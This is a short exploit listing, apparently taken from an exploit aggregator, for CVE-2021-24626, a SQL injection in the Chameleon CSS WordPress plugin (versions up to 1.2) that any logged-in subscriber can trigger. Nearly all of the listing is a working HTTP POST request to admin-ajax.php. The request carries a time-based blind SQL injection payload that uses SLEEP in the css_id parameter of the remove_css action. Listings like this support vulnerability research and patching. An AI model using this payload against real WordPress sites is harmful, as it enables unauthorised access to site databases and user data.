Exploit for Chameleon CSS <= 1.2 - Subscriber+ SQL Injection CVE-2021-24626

Name: Exploit for Chameleon CSS <= 1.2 - Subscriber+ SQL Injection CVE-2021-24626
Rating: 5 (100 reviews)

2021-10-07 | CVSS 6.5

## https://sploitus.com/exploit?id=WPEX-ID:06CB6C14-99B8-45B6-BE2E-F4DCCA8A4165
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 35
Accept: */*
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept-Language: en-US,en;q=0.9
Cookie: [any authenticated user, like subscriber+]

action=remove_css&css_id=1%20AND%20(SELECT%207806 FROM%20(SELECT(SLEEP(5)))CVtK)